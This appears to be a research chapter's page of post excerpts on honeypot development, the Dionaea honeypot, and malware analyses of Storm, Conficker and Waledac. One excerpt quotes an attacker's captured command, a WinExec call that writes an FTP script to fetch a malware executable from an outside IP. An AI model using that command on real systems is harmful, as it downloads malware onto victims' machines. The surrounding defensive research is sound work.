Welcome to the natural habitat of the Giraffe Honeynet Project, a chapter of the international Honeynet Project. Our main interest lies in developing code for applications in the area of honeynets and malware research. Some of our projects are:
The HoneyMap shows a real-time visualization of attacks against the Honeynet Project's sensors deployed around the world. It leverages the internal data sharing protocol hpfeeds as its data source. Read this post to learn about the technical details and frequently asked questions. Before going into explanations, take a look at the map itself: map.honeynet.org!
The Giraffe Chapter's continuous goal is to develop and improve honeypot technology and related tools and to conduct in-depth analysis of new attack techniques and malware specimens. This report lists our main activities and contributions from the last two and a half years.
Much to our regret, two of the founding members of our chapter have decided to terminate their Honeynet Project membership and are thus officially moved to alumni status. We respect this step and are grateful for an adventurous journey and their numerous contributions over the years. We will continue to work closely together with our friends, and want them to know that they can rejoin the team whenever they wish to.
The Giraffe Chapter consists of the following people:
Today, Steven Adair from Shadowserver imformed us about a new piece of malware that looks like a new version of the infamous Storm Worm. Storm was one of the first serious peer-to-peer botnets, it was sending out spam for more than two years until its decline in late 2008. Mark Schloesser, Tillmann Werner, Georg Wicherski, and I did some work on how to take down Storm back then, so the rumors about a new version caught our interest.
our first Scan of the Month Challenge in 2010 is over! We received 91 submissions in total, and some parts of the solutions are so interesting that I would like to publicly highlight them in this post. Now that the winners are announced (Congratulations Ivan, Franck, and Tareq!), I think I also owe you an explanation why we asked the specific questions and what we expected as answers. I am sure you will be surprised how many pieces of information you can dig up in a plain pcap - I was indeed when I had a look at the solutions we received. Enjoy!
Some people say "Reverse Engineering is an art". Well, this might be true if you consider stuff like mathematics as art. It is more an application of standard methods that evolve constantly. Actually, everybody can learn these methods and start to RE executables. With the RE-Google plugin for IDA Pro, even your granny can start reversing :)
The Dionaea honeypot got more and more mature during the last weeks. As Markus blogged in Iteolih: Miles and More the software is now able to detect shellcode via libemu and generates a nice shellcode profile out of this.
The SMB / DCERPC implementation also got fairly mature and is now able to cope with all packet types and also most caveats and differences of implementations in exploits. As I registered more and more RPC vulnerabilities in the module, it was definitely time to give libemu something to eat! :)
We got a new milestone due:
An exploit taken from a public repository, run against the software, is detected and emulated.
To shorten things, basically all required points are hit with current svn.
So, given the time we just saved, some words about how it works.
Yesterday, I got an incomplete, but successful, attack on my honeypot, the attackers remote code execution looked like this:
WinExec("cmd /c echo open 126.96.36.199 4871 > o&echo user 1 1 >> o &echo get msq16.exe >> o")
As the required part to download the malware to the remotehost was incomplete, I got curious and wanted a copy.
While playing with the current hsoc code, I got attacked, and saw an offer to download something from somewhere.
During the last weeks I have been working on SMB and specifically DCERPC support for the Dionaea next generation low-interaction honeypot (buzz!).
SMB / CIFS is a huge protocol with several protocol versions and a lot of message types. The CIFS technical reference and the Implementing CIFS book have been constant companions for me since the beginning of the project.
Conficker contains a piece of code that has been object of speculation: It does not infect boxes located in the Ukraine. Before sending an exploit, it performs a lookup against Maxmind's GeoIP database, which is freely available, and skips the host if the returned country code is UA. While the B variant comes with a copy of the database embedded, the A variant downloads the file from Maxmind's server. A couple of days ago Felix had the idea to deliver a specially crafted database that maps every IP address to the Ukrain.
One project mentored by the Honeynet Project during GSoC aims at improving nebula, an automated intrusion signature generator. There are two critical components in the signature generator: A clustering engine that groups similar attacks into classes, and a signature assembler that extracts common features and selects some of them for the actual signature.
due to the length of the whole term Improving the effectiveness of low interaction honeypots, I decided to use Iteolih as uniq abbrevitation. Things are rolling for the project, writing code started, a basic homepage with instructions how to compile/use it was created.
I even had the plan to write about it once or twice, finish something in the code, write about it. When I was done with the code, I got the idea, writing about it was not worth your time.
As the plan is to embedd python as scripting language into the honeypot, I ran a benchmark on a testsuite. The 'testsuite' is a c core which accepts connections, and allows python to deal with the input. The protocol used for benchmarking is http, the service serves a non static html page.
To benchmark, I ran the apache benchmark tool ab
Many people have asked us, how Conficker looks like. That's a tough question for something that's hidden and tries to be as stealthy as possible. The last time somebody asked me: "Can you show me Conficker?", I decided to visualize Conficker. Here is a little video that shows the evil core of Conficker.C.
While it seems to be impossible to say whether waledac is the successor of storm or not, what we can do is take a look at the traffic encryption. They guys over at Shadowserver have already blogged some details about this. We at the Giraffe Chapter investigated waledac's communication protocol further. Here are our results.
This year, Felix Leder and Mark Schlösser joined our team. We are focused on active development of honeypot tools and for us writing code is a passion. The Giraffe Chapter now consists of the following people:
Waledac is wishing merry christmas
There is a new bot in town. It's called Waledac. The way it is spreading reminds a lot of people of the good old storm botnet: An email is sent containing a "christmas card" in form of the executable "postcard.exe".
A preliminary view on the binary has been given by the Shadowserver guys (Steve Adair).
I had the chance to have a first look at the binary (MD5 ccddda141a19d693ad9cb206f2ae0de9) and want to note down some of my few findings to let the hunt begin.
I've been looking on ipv6 lately, and even though I got a global /64 for free from he.net, I'm not that amused about ipv6 yet.
Emulation is an important technology in honeypots and honeynets. It's not always what we want, though, and here's why. As you might know, most bots perform attacks in multiple stages, i.e., they
Catching the exploit and providing a fake shell isn't too hard, as shown in this post. But we certainly don't want a malware to get executed on our honeypot, not even in an emulated environment. Instead, we want to do different things with it, e.g., submit it to a central service for automated analysis.
The Honeynet Project is a leading international 501c3 non-profit security research organization, dedicated to investigating the latest attacks and developing open source security tools to improve Internet security. With Chapters around the world, our volunteers have contributed to fight again malware (such as Confickr), discovering new attacks and creating security tools used by businesses and government agencies all over the world.